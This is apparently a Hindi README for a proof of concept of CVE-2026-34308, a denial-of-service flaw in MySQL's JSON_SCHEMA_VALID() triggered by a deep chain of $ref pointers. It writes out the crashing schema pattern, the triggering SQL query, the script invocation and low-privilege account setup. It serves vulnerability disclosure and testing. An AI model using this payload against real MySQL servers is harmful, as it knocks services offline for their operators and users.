
# CVE-2026-34308 के लिए प्रूफ-ऑफ-कॉन्सेप्ट MySQL Server JSON घटक में एक डिनायल-ऑफ-सर्विस (DoS) भेद्यता। JSON_SCHEMA_VALID() में गहरी $ref श्रृंखलाओं के माध्यम से स्टैक थकावट (stack exhaustion) प्रदर्शित करता है, जिससे सर्वर क्रैश हो जाता है। इसमें Python PoC स्क्रिप्ट और तकनीकी विश्लेषण शामिल है।
आधिकारिक विक्रेता बुलेटिन: Oracle क्रिटिकल पैच अपडेट सलाह — अप्रैल 2026.
Oracle MySQL सर्वर में भेद्यता (घटक: सर्वर: JSON)।
समर्थित प्रभावित संस्करण: 8.0.0–8.0.45, 8.4.0–8.4.8, और 9.0.0–9.6.0।
यह भेद्यता कम-विशेषाधिकार वाले उपयोगकर्ता को MySQL सर्वर को क्रैश करने की अनुमति देती है।
CVSS 3.1 बेस स्कोर: 6.5 (केवल उपलब्धता पर प्रभाव)
CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
देखा गया तंत्र: गहरी पुनरावृत्ति (deep recursion) जब MySQL एक JSON स्कीमा के विरुद्ध JSON_SCHEMA_VALID() का मूल्यांकन करता है जिसमें $ref पॉइंटर्स की एक लंबी रैखिक श्रृंखला होती है, बिना स्कीमा संकलन/सत्यापन के दौरान प्रभावी गहराई सीमा (depth cap) के—जिससे स्टैक समाप्ति (stack exhaustion) और हैंग या बार-बार क्रैश होता है।
कॉल श्रृंखला (अवधारणात्मक):
Client SQL → JSON_SCHEMA_VALID(schema, instance)
→ आंतरिक JSON स्कीमा सत्यापन → बार-बार $ref समाधान
→ स्टैक समाप्ति → हैंग / क्रैश
इस PoC के लिए, कोई भी प्रमाणित MySQL खाता पर्याप्त है: केवल *.* पर USAGE अनुदान दें (MySQL का न्यूनतम विशेषाधिकार—कनेक्ट करने की क्षमता—बिना SELECT, तालिका पहुंच, या व्यवस्थापक भूमिकाओं के)। यदि उपयोगकर्ता एक सत्र खोल सकता है और SELECT JSON_SCHEMA_VALID(...) चला सकता है, तो वे स्थिति को ट्रिगर कर सकते हैं।
poc_schema_dos.pyएक रैखिक $ref श्रृंखला (उदाहरण गहराई 1200) के साथ एक JSON स्कीमा बनाता है:
{
"$ref": "#/definitions/l0",
"definitions": {
"l0": {"$ref": "#/definitions/l1"},
"l1": {"$ref": "#/definitions/l2"},
...
"l1200": {"type": "string"}
}
}
MySQL को भेजा गया: SELECT JSON_SCHEMA_VALID('<schema>', '"x"');
कमजोर बिल्ड्स के विरुद्ध परीक्षण में, यह लगभग एक सेकंड के भीतर सर्वर को क्रैश करते हुए देखा गया है (सटीक समय हार्डवेयर, बिल्ड फ्लैग्स और स्कीमा गहराई पर निर्भर करता है)।
python3 poc_schema_dos.py --host 127.0.0.1 --port 3306 --user root --password ""
कम-विशेषाधिकार खाते का परीक्षण करने के लिए:
CREATE USER 'test'@'%' IDENTIFIED BY 'password';
GRANT USAGE ON *.* TO 'test'@'%';
FLUSH PRIVILEGES;
फिर: python3 poc_schema_dos.py --user test --password password
6.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
poc_schema_dos.py: प्रमाण-अवधारणा स्क्रिप्टREADME.md: यह फ़ाइल